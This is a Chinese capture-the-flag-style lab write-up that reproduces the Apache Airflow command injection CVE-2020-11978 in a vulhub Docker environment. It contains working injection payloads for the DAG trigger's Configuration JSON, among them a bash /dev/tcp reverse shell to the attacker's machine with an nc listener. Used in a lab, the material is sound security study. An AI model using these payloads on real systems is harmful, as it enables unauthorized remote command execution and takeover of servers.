vulhub/airflow/CVE-2020-11978打靶学习记录
一、漏洞描述
CVE-2020-11978 是 Apache Airflow 中的一个远程命令注入漏洞。
-
影响版本:Apache Airflow ≤ 1.10.10
-
漏洞原理:Airflow 自带的示例 DAG(
example_trigger_target_dag)在构造执行命令时未对用户输入中的特殊字符做有效过滤,导致可将恶意命令拼接到原有命令中执行 -
危害:任何已认证的攻击者都能以运行 Airflow Worker/Scheduler 的用户身份执行任意系统命令
-
攻击条件:需先登录 Airflow Web 管理界面(默认无认证或存在实验性 API 绕过,默认允许所有 API 请求)
二、环境准备
kali作为攻击机,ubuntu中部署docker compose,并下载vulhub。
三、靶场环境启动
3.1 进入 CVE-2020-11978 漏洞目录
cd airflow/CVE-2020-11978/
3.2 启动靶场环境
sudo su #进入root模式
# 1. 初始化数据库
docker compose run airflow-init
# 2. 启动所有服务
docker compose up -d
解释:
-
airflow-init:初始化 Airflow 所需的元数据库(默认使用 SQLite),这一步会创建管理用户、生成默认连接配置等。 -
up -d:以后台模式启动所有容器(-d表示 detached 模式)。 -
该环境会启动 Web 服务器、Scheduler 和 Celery Worker 等多个组件,启动时间较长(可能需要 5–10 分钟)。
3.3 验证环境是否就绪
# 查看容器运行状态
docker compose ps
# 或查看所有运行中的 Docker 容器
docker ps
当看到所有容器状态均为 Up(健康)时,环境即启动完成。也可以查看日志确认是否有 200 状态码的健康检查响应。

3.4访问 Airflow Web 管理端
在 Kali 中打开浏览器,访问:
http://localhost:8080/admin/
此时应能看到 Apache Airflow 的 Web 管理界面。

四、漏洞复现
4.1 启用 example_trigger_target_dag
操作:在 Airflow 管理界面中,找到 DAG 列表,将 example_trigger_target_dag 前面的开关从 Off 拨到 On。
解释:DAG(有向无环图)是 Airflow 中工作流的定义文件。example_trigger_target_dag 是一个示例 DAG,开关设为 On 后才能被调度执行。漏洞就存在于这个 DAG 的处理逻辑中。

4.2 点击进入 DAG 详情并打开 Trigger 面板
操作:
-
点击
example_trigger_target_dag进入 DAG 详情页 -
点击右侧的
Trigger DAG按钮 -
在弹出的面板中找到 Configuration JSON 输入框

4.3 注入恶意命令(在服务器创建测试文件)
操作:在 Configuration JSON 输入框中填入以下 Payload:
{"message":"'\";touch /tmp/airflow_dag_success;#"}
然后点击 Trigger 按钮执行。

PayLoad 解释:
原始命令在执行时会拼接用户传入的 message 参数,类似于:
echo '<用户输入>' | ...
当我们输入 '";touch /tmp/airflow_dag_success;# 时,实际拼接后的命令变为:
echo '';touch /tmp/airflow_dag_success;#' | ...
逐符号拆解:
-
':闭合原命令中的单引号 -
;:Shell 命令分隔符,表示一条命令结束,可接新命令 -
touch /tmp/airflow_dag_success:我们要执行的恶意命令,在/tmp目录创建空文件 -
;:再接一个分隔符 -
#:Shell 注释符,注释掉后面的所有内容,防止语法错误
这样,服务器就会执行 touch /tmp/airflow_dag_success,在 /tmp 目录下创建一个名为 airflow_dag_success 的文件。
4.4 验证命令是否执行成功
操作:等待几秒,观察 DAG 运行状态变为 success,说明命令已被执行。
然后进入 Celery Worker 容器中查看文件是否创建:
docker compose exec airflow-worker ls -l /tmp
若输出中包含 airflow_dag_success 文件,说明命令注入成功。

五、Getshell(反弹 Shell)
5.1 在 Kali 攻击机上开启 nc 监听
# -l: 监听模式 -v: 详细输出 -n: 不解析域名 -p: 指定端口
nc -lvnp 6666
解释:nc(netcat)是网络工具中的"瑞士军刀"。这里将 Kali 配置为"服务端",监听 6666 端口,等待靶机(受害者)连接。

5.2 查看 Kali 的 IP 地址
ip a
# 或
ifconfig
记下 Kali 的 IP 地址(例如 192.168.233.128),后面反弹 Shell 时要用。
5.3 构造反弹 Shell Payload
操作:回到 Airflow 管理页面,再次点击 Trigger DAG,在 Configuration JSON 中输入以下 Payload(务必将 IP 替换为你的 Kali IP):
{"message":"'\";bash -i >& /dev/tcp/kali ip地址/6666 0>&1;#"}
然后点击 Trigger 执行。
反弹 Shell Payload 解释:
原始命令被注入后实际执行:
echo '';bash -i >& /dev/tcp/kali IP地址/6666 0>&1;#' | ...
-
bash -i:启动一个交互式 Bash(interactive mode) -
>& /dev/tcp/kali IP地址/6666:将标准输出和标准错误都重定向到 Kali 的 6666 端口(/dev/tcp/IP/PORT是 Bash 的一种特殊文件重定向功能) -
0>&1:将标准输入也绑定到同一个 TCP 连接
这样,靶机会主动连接到 Kali 的 6666 端口,并把这个连接作为 Shell 的输入输出通道,Kali 就可以远程执行命令了。
5.4 查看是否成功反弹
操作:回到 Kali 终端中运行 nc 监听的那个窗口。
等待片刻,若看到连接提示和 $ 或 # 命令行提示符,说明反弹 Shell 成功。
验证:在获取的 Shell 中输入以下命令确认身份:
whoami
id
如果能正常输出当前用户名,即表明已成功 Getshell。

六、完整攻击流程图

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)